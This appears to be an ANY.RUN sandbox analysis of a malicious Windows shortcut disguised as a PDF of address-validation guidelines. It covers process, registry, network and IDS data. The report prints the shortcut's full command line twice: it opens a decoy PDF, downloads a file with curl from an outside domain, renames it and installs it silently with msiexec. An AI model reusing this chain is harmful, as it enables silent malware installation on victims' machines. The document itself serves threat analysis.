| File name: | address-validation-guidelines.pdf.lnk |
| Full analysis: | https://app.any.run/tasks/7a1843ff-85dc-4658-bc6f-4e3a6c3cba24 |
| Verdict: | Malicious activity |
| Analysis date: | September 03, 2025, 16:29:26 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-ms-shortcut |
| File info: | MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=11, Unicoded, HasEnvironment "%comspec%", HasExpIcon "%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe", Archive, ctime=Wed Oct 13 16:15:20 2021, atime=Wed Oct 13 16:15:20 2021, mtime=Wed Oct 13 16:15:20 2021, length=278528, window=showminnoactive, IDListSize 0x0135, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\cmd.exe" |
| MD5: | D8B41F8F9F446F9B89BC74651EABEF64 |
| SHA1: | BD8E2FFBEDBAA9E583B8EFF436286F7395A9D0C8 |
| SHA256: | 29CC70F9303AA4A186D3024838CD0B4B68324739115B42FD49C2FDFC6B02D94A |
| SSDEEP: | 48:8yTk3kIhW5xAZntRdfRfXuHhQqfj2yfj2N7:8yt5xs9tueY2g2 |
MALICIOUS
References PDF content or header (LNK)
- cmd.exe (PID: 3832)
Starts windows command line (LNK)
- cmd.exe (PID: 3832)
SUSPICIOUS
No suspicious indicators.INFO
Changes file name
- cmd.exe (PID: 3832)
Reads the computer name
- curl.exe (PID: 4888)
- identity_helper.exe (PID: 7644)
Application launched itself
- msedge.exe (PID: 5764)
Reads Environment values
- identity_helper.exe (PID: 7644)
Checks supported languages
- curl.exe (PID: 4888)
- identity_helper.exe (PID: 7644)
Execution of CURL command
- cmd.exe (PID: 3832)
Manual execution by a user
- msedge.exe (PID: 8132)
- msedge.exe (PID: 2692)
- msedge.exe (PID: 7196)
Checks proxy server information
- slui.exe (PID: 7204)
Reads the software policy settings
- slui.exe (PID: 7204)
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TRiD
| .lnk | | | Windows Shortcut (100) |
|---|
EXIF
LNK
| Flags: | IDList, LinkInfo, RelativePath, WorkingDir, CommandArgs, IconFile, Unicode, ExpString, ExpIcon |
|---|---|
| FileAttributes: | Archive |
| CreateDate: | 2021:10:13 16:15:20+00:00 |
| AccessDate: | 2021:10:13 16:15:20+00:00 |
| ModifyDate: | 2021:10:13 16:15:20+00:00 |
| TargetFileSize: | 278528 |
| IconIndex: | 11 |
| RunWindow: | Show Minimized No Activate |
| HotKey: | (none) |
| TargetFileDOSName: | cmd.exe |
| DriveType: | Fixed Disk |
| DriveSerialNumber: | FA94-2B2B |
| VolumeLabel: | - |
| LocalBasePath: | C:\Windows\System32\cmd.exe |
| RelativePath: | ..\..\..\Windows\System32\cmd.exe |
| WorkingDirectory: | C:\Windows\System32 |
| CommandLineArguments: | cmd.exe /c start msedge "https://upsinf.com/pdf/address-validation-guidelines.pdf" && curl -sLo "%TEMP%\v209up.pdf" "https://upsinf.com/file/v209update.pdf" && ren "%TEMP%\v209up.pdf" "v209up.ms" && msiexec /i "%TEMP%\v209up.ms" /qn" |
| IconFileName: | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe |
| MachineID: | user-pc |
Total processes
174
Monitored processes
41
Malicious processes
0
Suspicious processes
0
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1148 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3652,i,1155556086656414287,1418141844513086272,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:1 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Version: 133.0.3065.92 Modules
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| 2232 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --disable-quic --string-annotations --always-read-main-dll --field-trial-handle=8008,i,1155556086656414287,1418141844513086272,262144 --variations-seed-version --mojo-platform-channel-handle=8164 /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 133.0.3065.92 Modules
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| 2492 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --disable-quic --string-annotations --always-read-main-dll --field-trial-handle=2064,i,1155556086656414287,1418141844513086272,262144 --variations-seed-version --mojo-platform-channel-handle=2272 /prefetch:3 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | msedge.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Edge Version: 133.0.3065.92 Modules
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| 2692 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://play.google.com/store/apps/details?id=ai.qwenlm.chat.android | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Edge Exit code: 0 Version: 133.0.3065.92 Modules
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| 3832 | "C:\Windows\System32\cmd.exe" cmd.exe /c start msedge "https://upsinf.com/pdf/address-validation-guidelines.pdf" && curl -sLo "C:\Users\admin\AppData\Local\Temp\v209up.pdf" "https://upsinf.com/file/v209update.pdf" && ren "C:\Users\admin\AppData\Local\Temp\v209up.pdf" "v209up.ms" && msiexec /i "C:\Users\admin\AppData\Local\Temp\v209up.ms" /qn" | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 35 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4196 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.3636 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=7568,i,1155556086656414287,1418141844513086272,262144 --variations-seed-version --mojo-platform-channel-handle=7668 /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Edge Exit code: 0 Version: 133.0.3065.92 Modules
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| 4648 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4184,i,1155556086656414287,1418141844513086272,262144 --variations-seed-version --mojo-platform-channel-handle=4240 /prefetch:2 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 133.0.3065.92 Modules
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| 4684 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --field-trial-handle=7340,i,1155556086656414287,1418141844513086272,262144 --variations-seed-version --mojo-platform-channel-handle=5920 /prefetch:1 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Version: 133.0.3065.92 Modules
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| 4888 | curl -sLo "C:\Users\admin\AppData\Local\Temp\v209up.pdf" "https://upsinf.com/file/v209update.pdf" | C:\Windows\System32\curl.exe | cmd.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 35 Version: 8.4.0 Modules
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| 5172 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --disable-quic --string-annotations --always-read-main-dll --field-trial-handle=2972,i,1155556086656414287,1418141844513086272,262144 --variations-seed-version --mojo-platform-channel-handle=4248 /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 133.0.3065.92 Modules
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Total events
8 923
Read events
8 834
Write events
89
Delete events
0
Modification events
| (PID) Process: | (5764) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
| Operation: | write | Name: | failed_count |
Value: 0 | |||
| (PID) Process: | (5764) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
| Operation: | write | Name: | state |
Value: 2 | |||
| (PID) Process: | (5764) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
| Operation: | write | Name: | state |
Value: 1 | |||
| (PID) Process: | (5764) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\StabilityMetrics |
| Operation: | write | Name: | user_experience_metrics.stability.exited_cleanly |
Value: 0 | |||
| (PID) Process: | (5764) msedge.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault |
| Operation: | write | Name: | S-1-5-21-1693682860-607145093-2874071422-1001 |
Value: 083AE9647E9C2F00 | |||
| (PID) Process: | (5764) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\590590 |
| Operation: | write | Name: | WindowTabManagerFileMappingId |
Value: {93E93447-7C71-46E8-876D-FDFEDED1B555} | |||
| (PID) Process: | (5764) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\590590 |
| Operation: | write | Name: | WindowTabManagerFileMappingId |
Value: {A4F47314-78AC-428A-A999-A9292165B402} | |||
| (PID) Process: | (5764) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\590590 |
| Operation: | write | Name: | WindowTabManagerFileMappingId |
Value: {1FE95A22-0DBD-4C01-BED7-4D1535BA4706} | |||
| (PID) Process: | (5764) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\590590 |
| Operation: | write | Name: | WindowTabManagerFileMappingId |
Value: {FC90A513-1E7A-4489-AD07-80654680E778} | |||
| (PID) Process: | (5764) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\Profiles |
| Operation: | write | Name: | EnhancedLinkOpeningDefault |
Value: Default | |||
Executable files
19
Suspicious files
392
Text files
63
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5764 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\ClientCertificates\LOG.old~RF18e46f.TMP | — | |
MD5:— | SHA256:— | |||
| 5764 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\ClientCertificates\LOG.old | — | |
MD5:— | SHA256:— | |||
| 5764 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old~RF18e47f.TMP | — | |
MD5:— | SHA256:— | |||
| 5764 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old | — | |
MD5:— | SHA256:— | |||
| 5764 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old~RF18e49e.TMP | — | |
MD5:— | SHA256:— | |||
| 5764 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old | — | |
MD5:— | SHA256:— | |||
| 5764 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old~RF18e4ae.TMP | — | |
MD5:— | SHA256:— | |||
| 5764 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 5764 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old~RF18e4ae.TMP | — | |
MD5:— | SHA256:— | |||
| 5764 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old | — | |
MD5:— | SHA256:— | |||
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HTTP(S) requests
276
TCP/UDP connections
155
DNS requests
148
Threats
12
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1268 | svchost.exe | GET | 200 | 2.17.251.116:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | NL | binary | 825 b | whitelisted |
1268 | svchost.exe | GET | 200 | 92.123.241.137:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | NL | binary | 814 b | whitelisted |
4916 | RUXIMICS.exe | GET | 200 | 2.17.251.116:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | NL | binary | 825 b | whitelisted |
4916 | RUXIMICS.exe | GET | 200 | 92.123.241.137:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | NL | binary | 814 b | whitelisted |
5944 | MoUsoCoreWorker.exe | GET | 200 | 92.123.241.137:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | NL | binary | 814 b | whitelisted |
— | — | GET | 200 | 150.171.22.17:443 | https://config.edge.skype.com/config/v1/Edge/133.0.3065.92?clientId=4489578223053569932&agents=EdgeFirstRun%2CEdgeFirstRunConfig&osname=win&client=edge&channel=stable&scpfre=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=51&mngd=0&installdate=1661339457&edu=0&soobedate=1504771245&bphint=2&fg=1&lbfgdate=1741678270&lafgdate=0 | US | binary | 1.06 Kb | unknown |
— | — | GET | 200 | 185.39.207.39:443 | https://upsinf.com/pdf/address-validation-guidelines.pdf | RU | pdf | 300 Kb | unknown |
— | — | GET | 200 | 150.171.27.11:443 | https://edge.microsoft.com/serviceexperimentation/v3/?osname=win&channel=stable&osver=10.0.19045&devicefamily=desktop&installdate=1661339457&clientversion=133.0.3065.92&experimentationmode=2&scpguard=0&scpfull=0&scpver=0 | US | binary | 132 b | unknown |
2492 | msedge.exe | GET | 200 | 150.171.27.11:80 | http://edge.microsoft.com/browsernetworktime/time/1/current?cup2key=2:xh-6bRvfMrsIC5TUxjXRRM2mhwbM3yMXPvO_ZHS4_TM&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 | US | text | 98 b | whitelisted |
— | — | GET | 404 | 185.39.207.39:443 | https://upsinf.com/favicon.ico | RU | html | 273 b | whitelisted |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4916 | RUXIMICS.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5944 | MoUsoCoreWorker.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
1268 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4888 | curl.exe | 185.39.207.39:443 | upsinf.com | LLC Mobile Television Systems | RU | unknown |
1268 | svchost.exe | 2.17.251.116:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
5944 | MoUsoCoreWorker.exe | 2.17.251.116:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
4916 | RUXIMICS.exe | 2.17.251.116:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
1268 | svchost.exe | 92.123.241.137:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
upsinf.com |
| unknown |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
edge.microsoft.com |
| whitelisted |
config.edge.skype.com |
| whitelisted |
copilot.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
update.googleapis.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Potentially Bad Traffic | ET INFO Possible Chrome Plugin install |
2492 | msedge.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare content delivery network (cdnjs .cloudflare .com) |
2492 | msedge.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare content delivery network (cdnjs .cloudflare .com) |
2492 | msedge.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare content delivery network (cdnjs .cloudflare .com) |
2492 | msedge.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare content delivery network (cdnjs .cloudflare .com) |
2492 | msedge.exe | Misc activity | ET INFO DNS Query to Alibaba Cloud CDN Domain (aliyuncs .com) |
2492 | msedge.exe | Misc activity | ET INFO DNS Query to Alibaba Cloud CDN Domain (aliyuncs .com) |
2492 | msedge.exe | Misc activity | ET INFO Observed Alibaba Cloud CDN Domain (aliyuncs .com in TLS SNI) |
2492 | msedge.exe | Misc activity | ET INFO Observed Alibaba Cloud CDN Domain (aliyuncs .com in TLS SNI) |
2492 | msedge.exe | Misc activity | ET INFO DNS Query to Alibaba Cloud CDN Domain (aliyuncs .com) |